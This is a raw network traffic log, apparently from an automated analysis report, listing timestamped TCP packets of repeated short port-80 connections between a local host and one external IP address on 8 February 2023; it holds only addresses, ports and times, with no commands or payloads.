Feb 8, 2023 21:33:26.998471022 CET	50142	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:26.999672890 CET	50143	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.061636925 CET	80	50142	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.061784983 CET	50142	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.062460899 CET	80	50143	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.062588930 CET	50143	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.062953949 CET	50143	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.125967026 CET	80	50143	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.128356934 CET	80	50143	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.128536940 CET	50143	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.232276917 CET	50143	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.233052969 CET	50144	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.294090033 CET	80	50143	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.294193029 CET	50143	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.295474052 CET	80	50144	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.295617104 CET	50144	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.296113014 CET	50144	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.358642101 CET	80	50144	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.361238003 CET	80	50144	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.361716032 CET	50144	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.465332031 CET	50144	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.466814041 CET	50145	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.528191090 CET	80	50145	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.528230906 CET	80	50144	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.528475046 CET	50144	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.528552055 CET	50145	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.528968096 CET	50145	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.589664936 CET	80	50145	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.592056990 CET	80	50145	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.592283964 CET	50145	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.700953007 CET	50145	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.701880932 CET	50146	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.763128042 CET	80	50145	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.763295889 CET	50145	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.766716003 CET	80	50146	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.766905069 CET	50146	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.767390013 CET	50146	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.830801010 CET	80	50146	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.834901094 CET	80	50146	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:27.835100889 CET	50146	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.951138973 CET	50146	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:27.952367067 CET	50147	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.014755011 CET	80	50146	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.014786959 CET	80	50147	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.014854908 CET	50146	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.014995098 CET	50147	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.016338110 CET	50147	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.078902006 CET	80	50147	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.082880974 CET	80	50147	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.083086967 CET	50147	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.201390982 CET	50147	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.202327967 CET	50148	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.265070915 CET	80	50147	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.265131950 CET	80	50148	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.265307903 CET	50147	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.265373945 CET	50148	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.265922070 CET	50148	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.329159975 CET	80	50148	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.330866098 CET	80	50148	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.330964088 CET	50148	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.450181007 CET	50148	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.450970888 CET	50149	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.512727022 CET	80	50149	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.512764931 CET	80	50148	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.512841940 CET	50149	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.512865067 CET	50148	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.513257980 CET	50149	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.574850082 CET	80	50149	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.578936100 CET	80	50149	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.579016924 CET	50149	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.687866926 CET	50149	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.688673019 CET	50150	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.748085976 CET	80	50150	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.748725891 CET	50150	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.749109983 CET	50150	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.749193907 CET	80	50149	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.749258041 CET	50149	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.808362961 CET	80	50150	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.811218977 CET	80	50150	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.813296080 CET	50150	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.919095993 CET	50150	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.920186996 CET	50151	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.978771925 CET	80	50150	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.978885889 CET	50150	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.981091976 CET	80	50151	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:28.984808922 CET	50151	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:28.985342026 CET	50151	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.045965910 CET	80	50151	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.049519062 CET	80	50151	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.050776005 CET	50151	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.154953957 CET	50151	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.155654907 CET	50152	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.215687037 CET	80	50151	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.215785027 CET	50151	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.215905905 CET	80	50152	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.218776941 CET	50152	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.219203949 CET	50152	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.279443979 CET	80	50152	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.281686068 CET	80	50152	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.281759024 CET	50152	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.388056993 CET	50152	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.388798952 CET	50153	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.448555946 CET	80	50152	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.448823929 CET	50152	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.449420929 CET	80	50153	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.449852943 CET	50153	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.450735092 CET	50153	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.511495113 CET	80	50153	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.513860941 CET	80	50153	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.514832973 CET	50153	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.622742891 CET	50153	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.624048948 CET	50154	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.683695078 CET	80	50153	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.684483051 CET	80	50154	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.684669018 CET	50153	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.684921026 CET	50154	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.685349941 CET	50154	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.749254942 CET	80	50154	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.751245975 CET	80	50154	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.754930019 CET	50154	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.857508898 CET	50154	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.859433889 CET	50155	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.920522928 CET	80	50154	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.920630932 CET	50154	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.921263933 CET	80	50155	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.921402931 CET	50155	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.921926022 CET	50155	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:29.983823061 CET	80	50155	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.986253977 CET	80	50155	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:29.986438990 CET	50155	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.094738960 CET	50155	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.095467091 CET	50156	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.156836987 CET	80	50155	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.156886101 CET	80	50156	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.157095909 CET	50155	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.157147884 CET	50156	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.159311056 CET	50156	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.220638037 CET	80	50156	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.225024939 CET	80	50156	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.227032900 CET	50156	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.340678930 CET	50156	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.341511011 CET	50157	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.402134895 CET	80	50156	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.402765989 CET	50156	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.403090000 CET	80	50157	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.406980038 CET	50157	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.407371998 CET	50157	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.468981981 CET	80	50157	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.471529961 CET	80	50157	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.471646070 CET	50157	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.575803041 CET	50157	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.576618910 CET	50158	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.638206959 CET	80	50157	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.638252974 CET	80	50158	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.638348103 CET	50157	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.638425112 CET	50158	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.648699045 CET	50158	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.711005926 CET	80	50158	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.713618994 CET	80	50158	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:30.715720892 CET	50158	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.964171886 CET	50158	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:30.964903116 CET	50159	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.025924921 CET	80	50159	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.025986910 CET	80	50158	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.026292086 CET	50158	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.026299000 CET	50159	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.057502031 CET	50159	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.119658947 CET	80	50159	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.123873949 CET	80	50159	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.124053001 CET	50159	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.284274101 CET	50159	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.285167933 CET	50160	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.346457958 CET	80	50159	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.346503973 CET	80	50160	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.346581936 CET	50159	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.346656084 CET	50160	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.348078012 CET	50160	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.410116911 CET	80	50160	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.412136078 CET	80	50160	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.412262917 CET	50160	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.530894995 CET	50160	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.532622099 CET	50161	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.593146086 CET	80	50160	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.593185902 CET	80	50161	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.593314886 CET	50160	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.593369961 CET	50161	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.638391018 CET	50161	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:31.699064970 CET	80	50161	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.701783895 CET	80	50161	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:31.702027082 CET	50161	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.425442934 CET	50161	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.426354885 CET	50162	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.488111973 CET	80	50161	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.488290071 CET	50161	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.489075899 CET	80	50162	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.489188910 CET	50162	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.538446903 CET	50162	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.599334002 CET	80	50162	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.603301048 CET	80	50162	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.603462934 CET	50162	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.750437975 CET	50162	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.753865957 CET	50163	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.811469078 CET	80	50162	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.811602116 CET	50162	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.816549063 CET	80	50163	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.816791058 CET	50163	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.883796930 CET	50163	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:32.948810101 CET	80	50163	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.951220036 CET	80	50163	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:32.951381922 CET	50163	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:33.476130009 CET	50163	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:33.477052927 CET	50164	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:33.537489891 CET	80	50164	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:33.537720919 CET	50164	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:33.538891077 CET	80	50163	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:33.539042950 CET	50163	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.164269924 CET	50164	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.233211040 CET	80	50164	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.236401081 CET	80	50164	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.236651897 CET	50164	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.357428074 CET	50164	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.359886885 CET	50165	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.420826912 CET	80	50164	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.421026945 CET	50164	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.423707962 CET	80	50165	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.423919916 CET	50165	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.424796104 CET	50165	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.489187002 CET	80	50165	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.491898060 CET	80	50165	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.492173910 CET	50165	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.608344078 CET	50165	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.609476089 CET	50166	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.670375109 CET	80	50165	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.670540094 CET	80	50166	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.670577049 CET	50165	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.670726061 CET	50166	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.675266981 CET	50166	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.735994101 CET	80	50166	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.738302946 CET	80	50166	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.738389015 CET	50166	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.842824936 CET	50166	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.843765020 CET	50167	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.905006886 CET	80	50166	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.905102968 CET	50166	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.906333923 CET	80	50167	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.906475067 CET	50167	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.906968117 CET	50167	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:34.969144106 CET	80	50167	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.971366882 CET	80	50167	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:34.971524000 CET	50167	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.104840040 CET	50167	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.106362104 CET	50168	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.165577888 CET	80	50167	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.165740013 CET	50167	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.168951988 CET	80	50168	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.169224024 CET	50168	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.170140028 CET	50168	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.232805014 CET	80	50168	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.236284018 CET	80	50168	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.236552954 CET	50168	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.342107058 CET	50168	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.343239069 CET	50169	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.406982899 CET	80	50169	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.407043934 CET	80	50168	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.407250881 CET	50168	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.407764912 CET	50169	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.407766104 CET	50169	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.469213009 CET	80	50169	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.471579075 CET	80	50169	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.471740961 CET	50169	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.577356100 CET	50169	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.578370094 CET	50170	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.638006926 CET	80	50170	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.638274908 CET	50170	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.638849974 CET	80	50169	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.638982058 CET	50169	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.646859884 CET	50170	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.707124949 CET	80	50170	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.710107088 CET	80	50170	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.710319042 CET	50170	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.829807997 CET	50170	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.830763102 CET	50171	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.889734983 CET	80	50170	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.889899015 CET	50170	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.892147064 CET	80	50171	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.892369986 CET	50171	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.892858028 CET	50171	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:35.954844952 CET	80	50171	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.958611012 CET	80	50171	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:35.958789110 CET	50171	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.082068920 CET	50172	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.083851099 CET	50171	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.145385981 CET	80	50172	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.145590067 CET	50172	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.146003008 CET	50172	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.148632050 CET	80	50171	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.148768902 CET	50171	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.208988905 CET	80	50172	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.212770939 CET	80	50172	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.212997913 CET	50172	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.326430082 CET	50172	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.327322960 CET	50173	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.387232065 CET	80	50172	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.387445927 CET	50172	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.388897896 CET	80	50173	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.389055967 CET	50173	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.396312952 CET	50173	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.457987070 CET	80	50173	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.461721897 CET	80	50173	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.461900949 CET	50173	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.575676918 CET	50173	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.579633951 CET	50174	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.637434959 CET	80	50173	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.637604952 CET	50173	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.643470049 CET	80	50174	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.643690109 CET	50174	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.644072056 CET	50174	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.705530882 CET	80	50174	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.708138943 CET	80	50174	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.708348989 CET	50174	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.810904026 CET	50174	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.812122107 CET	50175	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.871725082 CET	80	50174	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.871984005 CET	50174	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.874869108 CET	80	50175	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.875133038 CET	50175	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.875659943 CET	50175	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:36.940335989 CET	80	50175	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.942636967 CET	80	50175	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:36.942809105 CET	50175	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.045291901 CET	50175	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.046124935 CET	50176	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.106914997 CET	80	50175	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.107146978 CET	50175	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.108827114 CET	80	50176	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.109000921 CET	50176	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.109603882 CET	50176	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.172440052 CET	80	50176	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.178168058 CET	80	50176	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.178376913 CET	50176	80	192.168.2.3	62.204.41.4
